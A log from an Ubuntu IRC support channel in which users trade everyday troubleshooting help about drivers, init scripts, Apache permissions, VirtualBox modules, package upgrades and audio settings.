[17:36] <DrFaustus> actually a can c 2 cpu's runnung in sys.monitor
[17:37] <bekks> DrFaustus: I know what HT is - but it doesnt chaneg the fact that a P4 is a pretty old computer.
,it's not heating at all
[17:37] <KI7MT> TomyLobo, also in Snypatic Package Manger, select package and: Lock Version works too .. just found that one.
[17:37] <Marlenee> nydel : see PM
[17:38] <Marlenee> !panal
[17:38] <KI7MT> Lock-em' all I say, when in doubt, lock-em down :-)
,do u mean that hyper-threading is useless?
[17:39] <nydel> Marlenee: very intrusive little homepage they have hehe -- what do you mean you get it on freehosting sites, is it a control panel you use via a web browser?
[17:39] <Marlenee> nydel : yes
[17:40] <KI7MT> DrFaustus, depends on the application, if it is parallel enabled or not. If not, then only one core used anyway.
[17:40] <bekks> DrFaustus: No, but it is old, slow, and consumes a lot of power.
[17:40] <zanberdo> I have a need to install Ubuntu 10.04 LTS, however now that it's outside of support the original repos are no longer valid.  I need to know how I can point to oldreleases.ubuntu.com during install
[17:40] <alexa> guys, I'd like to create some drag and drop script. It's about replacing some characters. I will use "replace", it comes installed with mysql. But I'm having the problem with drag and drop. What should my script look like?
[17:40] <Marlenee> that site is for free they give you panel like in the pic
[17:40] <nydel> Marlenee: can't you just log in & access it, see what it's called that way?
[17:40] <alexa> replace "čćđšž" "ccdsz"-- "$1"
[17:40] <alexa> this "$1" should be the dropped text file
[17:40] <alexa> but it won't work
[17:40] <nydel> it looks like some sort of wysiwyg app
[17:41] <alexa> any hint?
[17:41] <Marlenee> nydel : i am in my account now and search for any info about it and i dont found anything
[17:42] <KI7MT> $1 is whatever follows ccdz ... for example ./configure --testing .. $1 would = -"-testing"
[17:42] <nydel> Marlenee: is the name in the url perhaps?
[17:42] <nydel> Marlenee: it could be original software belonging to that company
[17:42] <SJr> faugusztin, any recommendation on a replacement hard disk?
[17:42] <Marlenee> nydel : no
[17:43] <Marlenee> any free panel that allow me to uplaod and downlaod and edit any files via web browser
[17:43] <Marlenee> not webmin or zpanal
[17:43] <alexa> KI7MT, you mean, I should get rid of " "
[17:43] <SJr> I'm looking at either a 3TB Green or a 4 TB red.
[17:44] <DrFaustus>  how can i use your <tab> key for autocompletion of nicknames in IRC?
[17:44] <DrFaustus> how can i use  <tab> key for autocompletion of nicknames in IRC?
[17:44] <alexa> DrFaustus, what irc client are you usin'?
[17:45] <KI7MT> alexa that's example, ccdsz --example would mean:  xxdsz example with $1 = example without " .. "
[17:45] <Pici> DrFaustus: start typing the nick and then press tab.
[17:45] <DrFaustus> Xchat
[17:45] <bekks> DrFaustus: Type "bek" and press tab.
[17:45] <alexa> KI7MT, I don't get it.
[17:46] <faugusztin> SJr: depends on your needs, i personally use WD drives only, but green die a lot, i have reds for about a year now, they are running fine so far, but who knows what will happen later
[17:46] <KI7MT> alexa, so if ccdsz wants a file or path or option, $1 will be the first optoin after ccdsz invocation
[17:47] <alexa> ccdsz are the characters that should replace the original
[17:47] <KI7MT> ccdsz --path=/home/alexa  ... so $1 = /home/alexa
[17:48] <alexa> ok
[17:48] <KI7MT> so $1 is just whatever follows the ccdsz invocation
[17:49] <DrFaustus>  what irc client is mostly used in ubuntu?
[17:49] <hid> DrFaustus: xchat or pidgin
[17:50] <KI7MT> xchat, gnome-chat, irssi as many flavors as there are *Nix distro's
[17:51] <DrFaustus> so u think i'd better install ubuntu i386 edition?
[17:53] <bekks> DrFaustus: No. You have 64bit processor, so use the 64bit edition. And that still doesnt change ... <I just told you ;) >
 ,i don't think i get u right,will u just explain it more?
[17:55] <bekks> DrFaustus: You have a pretty old computer, consuming very much power, being not that fast.
[17:56] <KI7MT> So mu Q6600 HT is nto good
[17:56] <DrFaustus> so,how can i fix this situation,<bekks> ?
[17:57] <bekks> DrFaustus: By getting a more recent computer, basically.
[17:57] <bekks> KI7MT: The Q6600 is about 6 years old.
[17:57] <KI7MT> 64bit on a machine with =-< 4GB of RAM is a waste anyway.
[17:57] <bekks> KI7MT: Which is not true at all.
[17:57] <soen> Hey, first time using ubuntu, how do I run stuff from here?
[17:57] <soen> https://launchpad.net/ubuntu/+source/bcmwl/<IP_ADDRESS>+bdcom-0ubuntu6
[17:58] <KI7MT> I know, it's 6yrs I have about 10 of them,  and a QX9770 and a X68., they all work and work well.
[17:58] <hdon> soen, run stuff?
[17:58] <DrFaustus> now u made yourself clear,excuse my ignorance,bekks
[17:58] <soen> uhh, I need to get that driver installed and I'm not sure how
[17:58] <bekks> KI7MT: No one said they dont do their job anymore.
[17:59] <funky1> can someone help me with nfs and subdirectories in export that don't show up?
[17:59] <funky1> http://pastebin.com/fNJfh4Tq
[17:59] <KI7MT> bekks, I suppose in a literal sense, if you need 64bit for some specific reaon that is in accurate, but for generaql computing 64bit is a wate of space.,
[17:59] <hdon> soen, oh, you need help building and installing a kernel module
[17:59] <bekks> KI7MT: Which is not true at all, again.
[17:59] <soen> hdon: yes, I guess you can phrase it that way.
[17:59] <hdon> soen, you may want to check out the command "m-a"
[18:00] <hdon> soen, it's an ncurses program
[18:00] <KI7MT> Ok what is true then, that this argument is open ended and is not really helping anyone?
[18:00] <hdon> although i suppose it also has command-line interface
[18:00] <soen> hmm give me a sec
[18:00] <KI7MT> or that all my old hardware is better off in the scrap heap?
[18:01] <KI7MT> or that I should run out an buy an i7 to run 64bit SW
[18:01] <bekks> KI7MT: Sounds like you're looking for an unfriendly discussion. I am stopping that from my side now. EOD.
[18:01] <k-joseph> hi guys, that was really good, am so grate full to all of you beloved that are patiently guiding us, thanks so much genii, faugusztin plus all of your guys that have guided me, may God bless you all, it is me that was before appearing as Guest70717 and as etc, i have resolved the issue and am now back in my enviroonment, the issue was with the wrong path value i had in /etc/environment  which i resolved, and also the new path value i had added in /etc/profile
[18:01] <k-joseph> .d/java_variables.sh   that was really a good and remarkable experience :)
[18:01] <Soen> installed m-a just now
[18:01] <mrrcp> bekks: what version of ubuntu are you operating
[18:02] <AcidRain2012> do you write to a remote file the same way you do a localfile?
[18:02] <bekks> mrrcp: Depends on the specific box. 11.04 (still), 12.04, 13.04, 13.10
[18:02] <KI7MT> No, not at all, just trying to understand what was true and not true, but ok EOD
[18:02] <hdon> AcidRain2012, a "remote file" could be many things. what do you mean?
[18:02] <Soen> hplc, does that help me with anything
[18:02] <hdon> Soen, assuming you mean me... yes that will install m-a / module-assistant
[18:03] <AcidRain2012> well. a public remote file that doesnt have ftp access
[18:03] <AcidRain2012> its only public by apache
[18:03] <hdon> Soen, you may want to google for a tutorial on module-assistant, maybe there is even one specifically with your hardware in mind
[18:03] <hdon> Soen, what is the hardware you're trying to use?
[18:03] <mrrcp> could i update my system to 13.10? from 12.04?
[18:03] <mrrcp> or should i do a fresh install
[18:03] <hdon> AcidRain2012, you should ask in #apache i think
[18:03] <AcidRain2012> cool thx
[18:03] <Soen> oh hdon, sorry, switched computers. I'm trying to get updates in order to use my wifi
[18:04] <hdon> mrrcp, i've heard people have no problems doing the update, however you do need free space on your root filesystem to make the transition
[18:04] <bekks> mrrcp: Yeah, update to 12.10, to 13.04 to 13.10 - and 13.10 is supported in #ubuntu+1 only, yet.
[18:04] <Soen> hdon, from the website I linked earlier
[18:04] <hdon> Soen, yes, do you know what kind of wifi device you have? the chipset is the critical information as many different looking and differently named products have the same chipsets in them which actually talk to the computer and do most of the work
[18:05] <Soen> hdon, yes the link I posted was the exact thing I needed, I just don't know what to do with it or what terminal commands to run
[18:05] <Marlenee> i finally get all info about the file manger panel - http://imagebin.org/271291
[18:05] <DrFaustus> sorry,bekks,but i've just added u 2 freind list if u don't mind it
[18:05] <hdon> Soen, i'm sure that website makes a lot of sense to a person familiar with the hardware it is relevant to, but i don't, i just want to make sure you are investigating the correct driver for your hardware :)
[18:05] <dobry-den> Is there a general reason one would use aptitude instead of just apt-get? i'm trying to figure out why Linode's Bash StackScript installs aptitude in the first place: https://www.linode.com/stackscripts/view/?StackScriptID=1
[18:05] <mrrcp> whats new with 13.10
[18:06] <hdon> dobry-den, i've heard that aptitude is more aggressive and intelligent with regards to dependency resolutions but i am skeptical and never bothered to investigate
[18:06] <bekks> mrrcp: After its release, you can read the changelog at http://www.ubuntu.com/getubuntu/releasenotes
[18:07] <mrrcp> any big improvements?
[18:07] <mrrcp> that you have seen
[18:08] <KI7MT> dobry-den, Apt / Aptitude Deltas: http://www.debian.org/doc/manuals/debian-reference/ch02.en.html#_literal_apt_get_literal_literal_apt_cache_literal_vs_literal_aptitude_literal
[18:08] <Dirkos> I keep getting a 403 forbidden when i wanna access my recent created apache docroot
[18:08] <Dirkos> what should i do?
[18:08] <hdon> mrrcp, i would bet if you use unity you'll want to update. otherwise, 12.04 is an LTS release so it's should be fine to stick with that until a new LTS comes out
[18:08] <bazhang> #httpd Dirkos
[18:09] <DJones> mrrcp: Probably best asked in #ubuntu+1 which is the support channel for development versions, the people there are most likely to have been using it and can give you a better idea
[18:09] <Dirkos> bazhang: apache2?
[18:09] <bazhang> Dirkos, yes
[18:09] <silvio-> is there a specific format init.d script must be in?
[18:09] <bekks> !upstart | silvio-
[18:10] <vlitomsk> Hello
[18:11] <KI7MT> silvio-, if you follow the standards base, then yes there is, but if not with they work, sure you can get them to work, allto of folks do: https://wiki.debian.org/LSBInitScripts
[18:11] <letalis>  nickserv identify 555666
[18:11] <MonkeyDust> letalis  change your password!
[18:13] <Dirkos> bazhang: i dont understand? Still getting a 403 but i have no idea why. The vhost is setup correctly
[18:13] <vlitomsk> Does somebody know, what is the mission of modem-manager? I got this error:
[18:13] <vlitomsk> could not get the system bus. Makef sure the message bus daemon os running! Message: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or direcotry
[18:13] <Dirkos> http://pastebin.com/RGzDCaQn
[18:14] <vlitomsk> I've already googled it, but found solutions didn't help me
[18:14] <faugusztin> Dirkos: ask at the correct channel, but a quick suggestion - check if the directory where your web root is allowed via <Directory> directive
[18:15] <vlitomsk> I don't know, why there is 'No such file or directory', because /var/run/dbus/system_bus_socket is present
[18:17] <iUnify> hey guys i need help for one second, suddenly my headphones jack is not working, found a fix but one part i do NOT understand, can someone just point me to what to do in step 2?   http://askubuntu.com/questions/132440/headphone-jack-not-working
[18:18] <iUnify> http://askubuntu.com/questions/132440/headphone-jack-not-working
[18:18] <iUnify> it says "ook for the section called [Element Speaker] and change it so that it looks like this:"
[18:18] <iUnify> that next part i dont get, as when I do the first part it doesnt bring anything up that looks like that to edi
[18:19] <Pici> iUnify: Do you have any section called [Element Speaker] ?
[18:20] <iUnify> Pici:  It doesn't open up Nano to edit anything
[18:20] <iUnify> here is what i get
[18:20] <Pici> iUnify: Did you do the first step regarding copying files?
[18:22] <iUnify> http://paste.ubuntu.com/6125036/
[18:22] <iUnify> there we go, it came up in terminal now, that is what i have
[18:22] <iUnify> ive changed nothing yet
[18:22] <iUnify> Pici: and thanks for the help!  :D
[18:23] <alpha_> I have an error :" The VirtualBox Linux kernel driver (vboxdrv) is either not loaded or there is a permission problem with /dev/vboxdrv. Please reinstall the kernel module by executing " after I installed the VirtualBox on ubuntu 12.04 ... Who can help me please ?
[18:23] <Pici> iUnify: So make those changes now and then you should be seet.
[18:24] <alpha_> and : " Kernel driver not installed (rc=-1908) "
[18:24] <iUnify> Pici: I don't see "Element Speaker"
[18:24] <KI7MT> alpha_, make sure you have dkms before installing Vbox and / or use the .deb packacge from Virtual box site for Debian/Ubuntu.
[18:24] <iUnify> I see "Element Headphone" and everything else under the sun
[18:25] <anshulk> I want to see the difference between the contents of two directories... any command ?
[18:25] <KI7MT> alpha_, dkms meaning: sudo apt-get install dkms
[18:25] <Pici> anshulk: diff -r /path1 /path2
[18:25] <SubCool> i am ssh'd into a remote machine across a wan. how do i DL from that locatoin?
[18:26] <alpha_> K7MT : I downloaded .deb file from virtualbox.org and installed it .
[18:26] <alpha_> What should I do now ?
[18:26] <Marlenee> can soemone help me to install that - https://github.com/Studio-42/elFinder
[18:26] <Pici> iUnify: Oh.  I'm not sure which output you'd need to change then.  It really depends on your hardware. You may need to play with it until you find the right option.
[18:26] <anshulk> Pici, not the individual files, just the file list difference
[18:26] <bobapplepie> how do I delete files in the commandline?
[18:27] <alpha_> boapplepie run : rm <filename>
[18:27] <bobapplepie> ok
[18:27] <KI7MT> alpha_, follow install instructions: http://www.virtualbox.org/manual/ch02.html#install-linux-host
[18:27] <iUnify> pici: how do I save the changes?
[18:27] <Guest87825> i have problem when i do this: sudo apt-get install fluxgui, i get this info:   The following packages have unmet dependencies:
[18:27] <Guest87825>  fluxgui : Depends: python-glade2 (>= 2.17.0) but it is not going to be installed
[18:27] <Guest87825> E: Unable to correct problems, you have held broken packages.
[18:27] <iUnify> just edit?
[18:27] <iUnify> *exit
[18:28] <bobapplepie> alpha_: it says it's not a directory
[18:28] <Pici> iUnify: ctrl-O then ctrl-x
[18:28] <iUnify> Pici: Ctrl 0 asks me to write out
[18:29] <alpha_> bobapplepi : Go to the directory which your file is located and then run
[18:29] <bobapplepie> ok
[18:29] <InevBetrayal> Hello!
[18:29] <Pici> iUnify: usually you just want to press enter as the current filename should be in there
[18:30] <iUnify> Pici: thx, restart time, wish me luck!  :)
[18:30] <Marlenee> apt-get install ajaxplorer  not found in repos
[18:31] <Dirkos> how can i make sure that my root user named "foo" can sftp to the /var/domains directory?
[18:31] <sweethome> test
[18:31] <Dirkos> it now gets a permission denied since it does not use sudo
[18:31] <sweethome> its work !
[18:31] <saleem> hi, im on precise and noticed that all the ppa`s i added fail to reload for past couple of days, is it a known issue or just affecting me only?
[18:32] <InevBetrayal> I'm trying to dualboot ubuntu on a macbook pro (unibody 2009). I installed rEFIt, and i have a USB boot drive. I managed to get to the install screen (asking me for the language) but after i hit "install" the screen just goes dark and i cant do anything. Any ideas?
[18:33] <silvio-> do init.d scripts all work with the service command? if i create a script would it work service myscript start ?
[18:35] <KI7MT> silvio-, you need to add it to rc.d : sudo update-rc.d <script-name> defaults
[18:36] <KI7MT> Them, yes it will run and boot on the defaults set and you can control with either init.d/<script-name> or upstart with service <script-name> start,stop,restart, etc etc
[18:37] <SubCool> i am ssh'd into a remote machine across a wan. how do i DL from that locatoin?
[18:37] <silvio-> ok this is what im trying to do, i have to run 3 other mysql instances for the purpose of db replication, these dbs need to run on system start up to ensure db replication is running, to do that i need to run 3 commands using mysqld_safe &, so i am creating a script in /etc/init.d (well a symbolic link to a script) and in that script im following the LSBInitScripts standards, is this the easiest
[18:37] <silvio-> and best way to go about this?
[18:38] <Gentoo64> SubCool: you could use scp
[18:38] <sixy-> yapp sexy innernet :/
[18:39] <SubCool> Gentoo64, i need to use the current tunnel.. im trying to PULL from the server, and im behind a pretty bad mesh-ish network
[18:39] <SubCool> Im using KDE Fish- but it doesnt work
[18:39] <KI7MT> silvio-, This is old but still good: https://help.ubuntu.com/community/UbuntuBootupHowto  and http://upstart.ubuntu.com/cookbook/
[18:40] <silvio-> ty i will read those links
[18:41] <KI7MT> Bottom line, writing and testing init / upstart jobs is not an easy one-line answer, takes a fare amount of work and testing.
[18:43] <aj_> online resource for good shell script questions?
[18:43] <bazhang> #bash aj_
[18:44] <bazhang> !abs | aj_
[18:44] <lmat> So evolution works against microsoft exchange via the OWA web service ? Like it parses the OWA web pages and converts that to the data you see on screen ?
[18:45] <KI7MT> Greg's Wiki also, and check in #bash ... there are several good links in the topic.
[18:45] <Pici> lmat: I believe so, but only with certain OWA versions, you might want to do some research to make sure its supporting the ones you need.
[18:46] <lmat> Pici: Yeah, okay.
[18:46] <lmat> Pici: So someone needs to write an evolution plugin using EWS :)
[18:47] <silvio-> hwo can i test my script to make sure it runs ok on start up and shuts off on shutdown? do i have to reboot my server to test that?
[18:48] <lmat> silvio-: To know for sure, yeah you have to actually see it run.
[18:48] <lmat> (or turn off gracefully or whatever)
[18:48] <KI7MT> lmat, maybe this will help: http://loginroot.com/adding-ms-exchange-compability-with-evolution-ews-in-ubuntu-12-04/
[18:48] <silvio-> if there is an error in my script will it break the server if it were to reboot?
[18:48] <silvio-> or would it just not run my script?
[18:48] <rb-tnc> Hello all, I am having a real issue I can not figure out. Nautilus (File Manager (and up until I removed it Nemo)) constantly crashes when accessing the menu. When i right click a file/folder and actually hit, rename, new, copy, paste.... is when it crashes. I have tried everything I know to try and figure out why and what is happening but I'm clueless, I am new to UNIX (less than 18 months). Any help would be greatly appreciated
[18:48] <rb-tnc> .
[18:49] <KI7MT> silvio-, depeds on the script, and what the script does, but generally, it will only break itself if there's errors in it.
[18:50] <lmat> (or turn off gracefully or whatever)
[18:50] <lmat> doh
[18:50] <lmat> rb-tnc: Run 'dmesg' and look for anything fishy.
[18:51] <rb-tnc> lmat: How do u suggest i run it?
[18:51] <silvio-> #mysql
[18:51] <silvio-> shit sorry guys
[18:52] <KI7MT> dmesg | grep "fishy stuff" :-)
[18:52] <rb-tnc> lol
[18:53] <KI7MT> dmesg | less or dmesg | more  .. things like that
[18:54] <lmat> KI7MT: :P
[18:54] <rb-tnc> I ment should I, and what switches ect.
[18:54] <lmat> rb-tnc: Sorry. `dmesg`.
[18:54] <lmat> rb-tnc: no switches.
[18:55] <lmat> rb-tnc: If you need to, do dmesg | less    as KI7MT said.
[18:55] <SOLID00> newbie here, i just downloaded a file using terminal, but i cant find it on my computer. Is there a command i can use to find it?
[18:55] <edrisse> quit
[18:55] <rb-tnc> k ty
[18:55] <lmat> rb-tnc: If you're curious about what it is (and whether I'm telling you to run a virus), type `man dmesg`. If you don't know what man is, type `man man`
[18:55] <InevBetrayal> I made a usb boot drive with ubuntu 32bit, and when i try to do a "try before installing" on a mac osx lion 64bit, but all i get is a dark screen. Do i need to install ubuntu 64bit?
[18:55] <lmat> SOLID00: yes.
[18:55] <lmat> next!
[18:55] <lmat> SOLID00: :P  How did you download the file ? wget ? curl ?
[18:55] <rb-tnc> lmat: no i know what both are
[18:56] <rb-tnc> lmat: ty
[18:56] <lmat> rb-tnc: great, any more questions :)
[18:56] <rb-tnc> probably in a few minutes
[18:56] <SOLID00> im using
[18:56] <lmat> InevBetrayal: I would recommend trying the 64-bit one if it's not too much trouble. Of course, this sounds super-normal, so be sure to check with Google.
[18:56] <SOLID00> vagrant box add
[18:56] <lmat> rb-tnc: yeah, probably :)
[18:56]  * lmat looks up vagrant box add
[18:56] <dog-food> what happens if there is no swap and memory runs out
[18:57] <KI7MT> if you used wget as soon as you opened the terminal, it's in $HOME probably
[18:57] <lmat> SOLID00: What command did you use to download the file ?
[18:57] <lmat> dog-food: panic ?
[18:57] <lmat> KI7MT: Sounds like he used some 3rd party thing, not wget. ( SOLID00 )
[18:57] <KI7MT> indeed
[18:58] <lmat> SOLID00: Nonetheless, I would check in the current directory :)
[18:58] <SOLID00> yea, im gonna look through the program folder i used
[18:58] <lmat> SOLID00: run `ls`
[18:58] <KI7MT> Defaut for Browsers, and most GUI appd is system Download Default, ~/Downoads
[18:58] <lmat> SOLID00: I seriously doubt it's there.  You mean in with the executable programs ?
[18:58] <KI7MT> whoops ~/Downloads
[18:58] <Strit> Hm. #winehq is quite. Does any know why my Wine 1.7.1 got "upgraded" to 1.6 today?
[18:59] <lmat> Strit: What command did you use ?
[18:59] <Strit> lmat, no command, got it from repos
[18:59] <SubCool> Gentoo64, i need to use the current tunnel.. im trying to PULL from the server, and im behind a pretty bad mesh-ish network
[19:00] <lmat> Strit: um... not sudo apt-get update && sudo apt-get upgrade ?
[19:00] <lmat> Strit: You might try sudo apt-get update . I think this updates your computer's idea of what versions are current, etc.
[19:01] <Strit> lmat, just got it with standard update manager.
[19:02] <Pici> Strit: Are you using Wine's repositories?
[19:02] <Strit> Pici, yes
[19:02] <Pici> Strit: Then they probably published a new release.   Or is it just an archive like tar?
[19:03] <bekks> fully_human: It is an compressed archive.
[19:03] <lmat> fully_human: google it.
[19:03] <shodan45> anyone have a system76 laptop & can comment on the keyboard? is it similar to other brands?
[19:03] <lix> list
[19:03] <lmat> fully_human bekks "Cpio does not compress any content, but resulting archives are often compressed using gzip or other external compressors."  Wikipedia
[19:03] <fully_human> bekks, Okay, thanks.
[19:04] <Pici> Strit: It could be something they did on purpose to correct a regression or there was a failure in their build process. I can only make guesses as to what happened.
[19:04] <lmat> seems like 1.6 is a long way back from 1.7. is 1.7 new ?
[19:04] <Strit> Pici, yeah. Maybe because 1.7.1 actually wasn't a stable release
[19:04] <Pici> Strit: The package's version number would need to be higher for it to be installed, but that doesn't really have anything to do with the actual version of the software that is being installed.
[19:04] <DrFaustus> http://dpaste.com/1386611/  ,i really like this poem
[19:04] <Pici> !ot | DrFaustus
,ok,sorry 4 the disconvenience
[19:07] <asd__123123123> can somebody tell me what should i do with this message im getting?  http://paste.ubuntu.com/6125210/
[19:08] <bekks> lmat: Well, at least on Solaris cpio provides the -c switch for creating compressed output/input.
[19:08] <MonkeyDust> asd__123123123  fluxgui is not in the repos, what is it and where did you get it?